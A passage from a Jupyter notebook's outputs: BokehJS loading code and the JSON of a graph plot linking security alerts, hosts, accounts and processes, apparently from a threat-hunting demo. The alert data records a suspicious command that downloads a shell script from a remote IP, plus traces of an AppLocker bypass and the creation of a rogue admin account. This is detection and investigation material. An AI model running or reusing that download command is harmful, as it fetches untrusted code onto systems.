setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      const cell = $(document.getElementById(\"1002\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"1003\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  const force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  const JS_MIME_TYPE = 'application/javascript';\n  const HTML_MIME_TYPE = 'text/html';\n  const EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  const CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    const script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    const cell = handle.cell;\n\n    const id = cell.output_area._bokeh_element_id;\n    const server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      const cmd_clean = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd_clean, {\n        iopub: {\n          output: function(msg) {\n            const id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      const cmd_destroy = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd_destroy);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    const output_area = handle.output_area;\n    const output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n      return\n    }\n\n    const toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      const bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      const script_attrs = bk_div.children[0].attributes;\n      for (let i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      const toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      const props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    const events = require('base/js/events');\n    const OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  const NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    const el = document.getElementById(\"1003\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error(url) {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (let i = 0; i < css_urls.length; i++) {\n      const url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    for (let i = 0; i < js_urls.length; i++) {\n      const url = js_urls[i];\n      const element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.async = false;\n      element.src = url;\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  const js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-mathjax-2.4.2.min.js\"];\n  const css_urls = [];\n  \n\n  const inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (let i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      const cell = $(document.getElementById(\"1003\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"d26779bc-84a1-4f46-b7e1-8172021a6090\" data-root-id=\"1004\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "(function(root) {\n  function embed_document(root) {\n    \n  const docs_json = {\"999ba201-dd5a-437d-9a3f-35828587a7cf\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"below\":[{\"id\":\"1015\"}],\"center\":[{\"id\":\"1018\"},{\"id\":\"1022\"},{\"id\":\"1054\"},{\"id\":\"1055\"},{\"id\":\"1056\"},{\"id\":\"1057\"},{\"id\":\"1058\"},{\"id\":\"1059\"},{\"id\":\"1060\"},{\"id\":\"1061\"},{\"id\":\"1062\"},{\"id\":\"1063\"},{\"id\":\"1064\"},{\"id\":\"1065\"},{\"id\":\"1066\"},{\"id\":\"1067\"},{\"id\":\"1068\"},{\"id\":\"1069\"},{\"id\":\"1070\"},{\"id\":\"1071\"},{\"id\":\"1072\"},{\"id\":\"1073\"},{\"id\":\"1074\"},{\"id\":\"1075\"},{\"id\":\"1076\"},{\"id\":\"1077\"},{\"id\":\"1078\"},{\"id\":\"1079\"},{\"id\":\"1080\"},{\"id\":\"1081\"},{\"id\":\"1082\"},{\"id\":\"1083\"},{\"id\":\"1084\"},{\"id\":\"1085\"},{\"id\":\"1086\"},{\"id\":\"1087\"},{\"id\":\"1088\"}],\"height\":800,\"left\":[{\"id\":\"1019\"}],\"renderers\":[{\"id\":\"1039\"}],\"title\":{\"id\":\"1005\"},\"toolbar\":{\"id\":\"1030\"},\"width\":800,\"x_range\":{\"id\":\"1007\"},\"x_scale\":{\"id\":\"1011\"},\"y_range\":{\"id\":\"1009\"},\"y_scale\":{\"id\":\"1013\"}},\"id\":\"1004\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{},\"id\":\"1026\",\"type\":\"SaveTool\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"wget\",\"text_font_size\":\"10pt\",\"x\":1.1665292302801498,\"x_offset\":5,\"y\":-0.05479246813549625,\"y_offset\":5},\"id\":\"1063\",\"type\":\"Label\"},{\"attributes\":{\"overlay\":{\"id\":\"1029\"}},\"id\":\"1025\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Alert: Suspicious Activity Detected\",\"text_font_size\":\"10pt\",\"x\":-1.8216713447195432,\"x_offset\":5,\"y\":-0.6111017233610322,\"y_offset\":5},\"id\":\"1071\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Alert: Suspicious system process executed\",\"text_font_size\":\"10pt\",\"x\":-0.8905614079807012,\"x_offset\":5,\"y\":1.4144979677695193,\"y_offset\":5},\"id\":\"1075\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"1101\"},\"group\":null,\"major_label_policy\":{\"id\":\"1102\"},\"ticker\":{\"id\":\"1020\"}},\"id\":\"1019\",\"type\":\"LinearAxis\"},{\"attributes\":{\"axis\":{\"id\":\"1015\"},\"coordinates\":null,\"group\":null,\"ticker\":null},\"id\":\"1018\",\"type\":\"Grid\"},{\"attributes\":{\"coordinates\":null,\"edge_renderer\":{\"id\":\"1046\"},\"group\":null,\"inspection_policy\":{\"id\":\"1099\"},\"layout_provider\":{\"id\":\"1048\"},\"node_renderer\":{\"id\":\"1042\"},\"selection_policy\":{\"id\":\"1098\"}},\"id\":\"1039\",\"type\":\"GraphRenderer\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"wget[pid:0x28c4]\",\"text_font_size\":\"10pt\",\"x\":1.0603338245314144,\"x_offset\":5,\"y\":-0.16625679179282574,\"y_offset\":5},\"id\":\"1074\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Alert: SSH Anomalous Login ML\",\"text_font_size\":\"10pt\",\"x\":0.7567387722244135,\"x_offset\":5,\"y\":-0.7696748873883039,\"y_offset\":5},\"id\":\"1054\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"1105\",\"type\":\"AllLabels\"},{\"attributes\":{\"end\":3,\"start\":-3},\"id\":\"1009\",\"type\":\"Range1d\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"wget[pid:0x4cd2]\",\"text_font_size\":\"10pt\",\"x\":1.2213251785200852,\"x_offset\":5,\"y\":-0.17206403523407066,\"y_offset\":5},\"id\":\"1065\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"1024\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"104.211.30.1\",\"text_font_size\":\"10pt\",\"x\":0.8558760255142471,\"x_offset\":5,\"y\":-1.0057929508708936,\"y_offset\":5},\"id\":\"1059\",\"type\":\"Label\"},{\"attributes\":{\"axis\":{\"id\":\"1019\"},\"coordinates\":null,\"dimension\":1,\"group\":null,\"ticker\":null},\"id\":\"1022\",\"type\":\"Grid\"},{\"attributes\":{\"source\":{\"id\":\"1041\"}},\"id\":\"1043\",\"type\":\"CDSView\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"dbadmin\",\"text_font_size\":\"10pt\",\"x\":1.0565177962418633,\"x_offset\":5,\"y\":-0.4036964381990115,\"y_offset\":5},\"id\":\"1057\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"1011\",\"type\":\"LinearScale\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"vim.basic[pid:0x51b3]\",\"text_font_size\":\"10pt\",\"x\":1.306481328559529,\"x_offset\":5,\"y\":-0.4656603559472021,\"y_offset\":5},\"id\":\"1068\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"conhost.exe[pid:0x119c]\",\"text_font_size\":\"10pt\",\"x\":-0.7654381594072924,\"x_offset\":5,\"y\":1.4479962589498856,\"y_offset\":5},\"id\":\"1081\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"ian\",\"text_font_size\":\"10pt\",\"x\":-2.0,\"x_offset\":5,\"y\":-0.6932756090947721,\"y_offset\":5},\"id\":\"1073\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"msticalertswin1\",\"text_font_size\":\"10pt\",\"x\":-1.852280343421786,\"x_offset\":5,\"y\":-0.7424708096317278,\"y_offset\":5},\"id\":\"1072\",\"type\":\"Label\"},{\"attributes\":{\"data\":{\"end\":[\"23.97.60.214\",\"MSTICAlertsLxVM2\",\"dbadmin\",\"203.0.113.1\",\"104.211.30.1\",\"MSTICALERTSLXVM2\",\"Alert: Detected suspicious file download\",\"wget[pid:0x4e55]\",\"wget[pid:0x4cd2]\",\"Alert: Possible suspicious scheduling tasks access detected\",\"vim.basic[pid:0x51b3]\",\"wget[pid:0x28c4]\",\"wget[pid:0x61a7]\",\"MSTICALERTSLXVM2\",\"Process\",\"wget\",\"wget[pid:0x4e55]\",\"wget[pid:0x4cd2]\",\"wget[pid:0x28c4]\",\"wget[pid:0x61a7]\",\"Process\",\"wget[pid:0x4e55]\",\"MSTICALERTSLXVM2\",\"wget[pid:0x4cd2]\",\"Alert: Possible suspicious scheduling tasks access detected\",\"vim.basic[pid:0x51b3]\",\"wget[pid:0x28c4]\",\"wget[pid:0x61a7]\",\"wget[pid:0x4e55]\",\"wget[pid:0x4cd2]\",\"Alert: Possible suspicious scheduling tasks access detected\",\"vim.basic[pid:0x51b3]\",\"wget[pid:0x28c4]\",\"wget[pid:0x61a7]\",\"wget[pid:0x4e55]\",\"wget[pid:0x4cd2]\",\"wget[pid:0x28c4]\",\"wget[pid:0x61a7]\",\"vim.basic\",\"vim.basic[pid:0x51b3]\",\"vim.basic[pid:0x51b3]\",\"Alert: None\",\"Alert: Security incident with shared process detected\",\"msticalertswin1\",\"ian\",\"ian\",\"MSTICALERTSWIN1\",\"rundll32.exe\",\"rundll32.exe[pid:0x12b0]\",\"MSTICAdmin\",\"conhost.exe\",\"conhost.exe[pid:0x119c]\",\"rundll32.exe[pid:0x12b0]\",\"MSTICAdmin\",\"conhost.exe[pid:0x119c]\",\"MSTICALERTSWIN1\",\"Alert: Potential attempt to bypass AppLocker detected\",\"cmd.exe[pid:0x12f4]\",\"regsvr32.exe[pid:0x1150]\",\"rundll32.exe[pid:0x12b0]\",\"conhost.exe[pid:0x119c]\",\"conhost.exe[pid:0x119c]\",\"Alert: Potential attempt to bypass AppLocker detected\",\"regsvr32.exe[pid:0x1150]\",\"conhost.exe[pid:0x119c]\",\"cmd.exe\",\"cmd.exe[pid:0x12f4]\",\"regsvr32.exe\",\"regsvr32.exe[pid:0x1150]\",\"cmd.exe[pid:0x12f4]\",\"regsvr32.exe[pid:0x1150]\",\"regsvr32.exe[pid:0x1150]\"],\"name\":[null,null,null,null,null,\"Account\",null,\"Account\",\"Account\",null,\"Account\",\"Account\",\"Account\",null,null,null,null,null,null,null,\"Host\",\"Host\",\"Host\",\"Host\",null,\"Host\",\"Host\",\"Host\",\"ParentProcess\",\"ParentProcess\",null,\"ParentProcess\",\"ParentProcess\",\"ParentProcess\",\"ImageFile\",\"ImageFile\",\"ImageFile\",\"ImageFile\",null,null,\"ImageFile\",null,null,null,null,\"Host\",null,null,null,null,null,null,\"Host\",\"Account\",\"Host\",\"Host\",null,\"Host\",\"Host\",\"ImageFile\",\"ParentProcess\",\"Account\",null,\"Account\",\"ImageFile\",null,null,null,null,\"ImageFile\",\"ParentProcess\",\"ImageFile\"],\"start\":[\"Alert: SSH Anomalous Login ML\",\"Alert: SSH Anomalous Login ML\",\"Alert: SSH Anomalous Login ML\",\"Alert: SSH Anomalous Login ML\",\"Alert: SSH Anomalous Login ML\",\"dbadmin\",\"dbadmin\",\"dbadmin\",\"dbadmin\",\"dbadmin\",\"dbadmin\",\"dbadmin\",\"dbadmin\",\"Alert: Detected suspicious file download\",\"Alert: Detected suspicious file download\",\"Alert: Detected suspicious file download\",\"Alert: Detected suspicious file download\",\"Alert: Detected suspicious file download\",\"Alert: Detected suspicious file download\",\"Alert: Detected suspicious file download\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"wget\",\"wget\",\"wget\",\"wget\",\"Alert: Possible suspicious scheduling tasks access detected\",\"Alert: Possible suspicious scheduling tasks access detected\",\"vim.basic\",\"Alert: Security incident detected\",\"Alert: None\",\"Alert: Suspicious Activity Detected\",\"Alert: Suspicious Activity Detected\",\"msticalertswin1\",\"Alert: Suspicious system process executed\",\"Alert: Suspicious system process executed\",\"Alert: Suspicious system process executed\",\"Alert: Suspicious system process executed\",\"Alert: Suspicious system process executed\",\"Alert: Suspicious system process executed\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"rundll32.exe\",\"rundll32.exe[pid:0x12b0]\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"conhost.exe\",\"Alert: Potential attempt to bypass AppLocker detected\",\"Alert: Potential attempt to bypass AppLocker detected\",\"Alert: Potential attempt to bypass AppLocker detected\",\"Alert: Potential attempt to bypass AppLocker detected\",\"cmd.exe\",\"cmd.exe[pid:0x12f4]\",\"regsvr32.exe\"]},\"selected\":{\"id\":\"1110\"},\"selection_policy\":{\"id\":\"1109\"}},\"id\":\"1045\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"cmd.exe[pid:0x12f4]\",\"text_font_size\":\"10pt\",\"x\":-0.5350629999444589,\"x_offset\":5,\"y\":1.1588320791538407,\"y_offset\":5},\"id\":\"1084\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1041\"},\"glyph\":{\"id\":\"1049\"},\"group\":null,\"hover_glyph\":null,\"view\":{\"id\":\"1043\"}},\"id\":\"1042\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"wget[pid:0x61a7]\",\"text_font_size\":\"10pt\",\"x\":1.2789063116904102,\"x_offset\":5,\"y\":-0.2266166247979987,\"y_offset\":5},\"id\":\"1088\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Alert: Possible suspicious scheduling tasks access detected\",\"text_font_size\":\"10pt\",\"x\":1.2343325132178653,\"x_offset\":5,\"y\":-0.5146457110985333,\"y_offset\":5},\"id\":\"1066\",\"type\":\"Label\"},{\"attributes\":{\"graph_layout\":{\"104.211.30.1\":[0.8558760255142471,-1.0057929508708936],\"203.0.113.1\":[0.690572211543298,-1.0261792715723557],\"23.97.60.214\":[0.5555234691228415,-0.9413626856933295],\"Alert: Detected suspicious file download\":[1.1398921576356194,-0.20248307091010964],\"Alert: None\":[-1.0343024044498637,-1.7199586062192174],\"Alert: Possible suspicious scheduling tasks access detected\":[1.2343325132178653,-0.5146457110985333],\"Alert: Potential attempt to bypass AppLocker detected\":[-0.6100384758326585,1.066926341905788],\"Alert: SSH Anomalous Login ML\":[0.7567387722244135,-0.7696748873883039],\"Alert: Security incident detected\":[-1.1942174868519249,-1.7029387433960672],\"Alert: Security incident with shared process detected\":[-0.8838935177681776,-1.6308301876481643],\"Alert: Suspicious Activity Detected\":[-1.8216713447195432,-0.6111017233610322],\"Alert: Suspicious system process executed\":[-0.8905614079807012,1.4144979677695193],\"MSTICALERTSLXVM2\":[1.1532149382433579,-0.330761741139895],\"MSTICALERTSWIN1\":[-0.7125832753925673,1.2782508456593273],\"MSTICAdmin\":[-0.7882543796044594,1.2246673301556767],\"MSTICAlertsLxVM2\":[0.5331411382104969,-0.7815013768184307],\"Process\":[1.2217396355750052,-0.3095333999290859],\"cmd.exe\":[-0.39668944769393055,1.084937051745576],\"cmd.exe[pid:0x12f4]\":[-0.5350629999444589,1.1588320791538407],\"conhost.exe\":[-0.8312945824280463,1.6387240151520306],\"conhost.exe[pid:0x119c]\":[-0.7654381594072924,1.4479962589498856],\"dbadmin\":[1.0565177962418633,-0.4036964381990115],\"ian\":[-2.0,-0.6932756090947721],\"msticalertswin1\":[-1.852280343421786,-0.7424708096317278],\"regsvr32.exe\":[-0.723288953199134,0.8997437608611638],\"regsvr32.exe[pid:0x1150]\":[-0.7113326864807072,1.0742779005733594],\"rundll32.exe\":[-1.0633772344207915,1.5601226885849593],\"rundll32.exe[pid:0x12b0]\":[-0.8874294348298396,1.4858882032993588],\"vim.basic\":[1.4372598772502676,-0.622338083513138],\"vim.basic[pid:0x51b3]\":[1.306481328559529,-0.4656603559472021],\"wget\":[1.1665292302801498,-0.05479246813549625],\"wget[pid:0x28c4]\":[1.0603338245314144,-0.16625679179282574],\"wget[pid:0x4cd2]\":[1.2213251785200852,-0.17206403523407066],\"wget[pid:0x4e55]\":[1.0333317260650166,-0.24092887141882507],\"wget[pid:0x61a7]\":[1.2789063116904102,-0.2266166247979987]}},\"id\":\"1048\",\"type\":\"StaticLayoutProvider\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"203.0.113.1\",\"text_font_size\":\"10pt\",\"x\":0.690572211543298,\"x_offset\":5,\"y\":-1.0261792715723557,\"y_offset\":5},\"id\":\"1058\",\"type\":\"Label\"},{\"attributes\":{\"tools\":[{\"id\":\"1023\"},{\"id\":\"1024\"},{\"id\":\"1025\"},{\"id\":\"1026\"},{\"id\":\"1027\"},{\"id\":\"1028\"},{\"id\":\"1037\"}]},\"id\":\"1030\",\"type\":\"Toolbar\"},{\"attributes\":{},\"id\":\"1098\",\"type\":\"NodesOnly\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Process\",\"text_font_size\":\"10pt\",\"x\":1.2217396355750052,\"x_offset\":5,\"y\":-0.3095333999290859,\"y_offset\":5},\"id\":\"1062\",\"type\":\"Label\"},{\"attributes\":{\"data\":{\"AdditionalData\":[\"{'Alert Mode': 'Aggregated', 'Search Query': '{\\\"detailBladeInputs\\\":{\\\"id\\\":\\\"/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourcegroups/asihuntomsworkspacerg/providers/microsoft.operationalinsights/workspaces/asihuntomsworkspacev4\\\",\\\"parameters\\\":{\\\"q\\\":\\\"SSHAlertDataV2_CL\\\\\\\\n| extend AccountCustomEntity = Account_s\\\\\\\\n| extend HostCustomEntity = Host_s\\\\\\\\n| extend IPCustomEntity = IPAddress\\\",\\\"timeInterval\\\":{\\\"intervalDuration\\\":300,\\\"intervalEnd\\\":\\\"2019-02-18T16%3A44%3A21.000Z\\\"}}},\\\"detailBlade\\\":\\\"SearchBlade\\\",\\\"displayValue\\\":\\\"SSHAlertDataV2_CL\\\\\\\\n| extend AccountCustomEntity = Account_s\\\\\\\\n| extend HostCustomEntity = Host_s\\\\\\\\n| extend IPCustomEntity = IPAddress\\\",\\\"extension\\\":\\\"Microsoft_OperationsManagementSuite_Workspace\\\",\\\"kind\\\":\\\"OpenBlade\\\"}', 'Search Query Results Overall Count': '1', 'Threshold Operator': 'Greater Than', 'Threshold Value': '0', 'Query Interval in Minutes': '5', 'Suppression in Minutes': '0', 'Total Account Entities': '1', 'Total Host Entities': '1', 'Total IP Entities': '1'}\",null,null,null,null,null,\"{'Compromised Host': 'MSTICALERTSLXVM2', 'User Name': 'dbadmin', 'Account Session Id': '0x2fdcd', 'Suspicious Process': '/usr/bin/wget', 'Suspicious Command Line': 'wget http://23.97.60.214/QuZYpObins.sh -t 3 -T 5', 'Suspicious Process Id': '0x61a7', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}\",null,null,null,null,null,\"{'Compromised Host': 'MSTICALERTSLXVM2', 'User Name': 'dbadmin', 'Account Session Id': '0x2e093', 'Suspicious Process': '/usr/bin/vim.basic', 'Suspicious Command Line': '/usr/bin/vim.basic /tmp/crontab.UQ6iiQ/crontab', 'Suspicious Process Id': '0x51b3', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}\",null,null,\"{'isincident': 'true', 'Detected Time (UTC)': '2019-02-14 18:03:23 UTC', 'Incident Stage': 'abused resource in', 'Compromised Host': 'MSTICALERTSWIN1', 'Start Time (UTC)': '2019-02-14 11:51:38 UTC', 'crossvm': 'false', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}\",\"{'$id': '8', 'DisplayName': 'Detected the disabling of critical services', 'SystemAlertIds': ['2518522015556924218_856f3dbd-ca72-474d-ab00-75956b161a02'], 'Location': 'Central US'}\",\"{'Machine Name': 'MSTICAlertsWin1', 'Command List': 'FTP session was established.\\\\nPING command was executed.\\\\nNew user was created.\\\\nAdministrators group members enumeration.\\\\nNew user was added to the Administrators group.\\\\nNew scheduled task was created.', 'Account List': 'MSTICALERTSWIN1\\\\\\\\ian', 'compromised host': 'MSTICAlertsWin1', 'End Time UTC': '02/15/2019 19:55:11', 'ActionTaken': 'Detected', 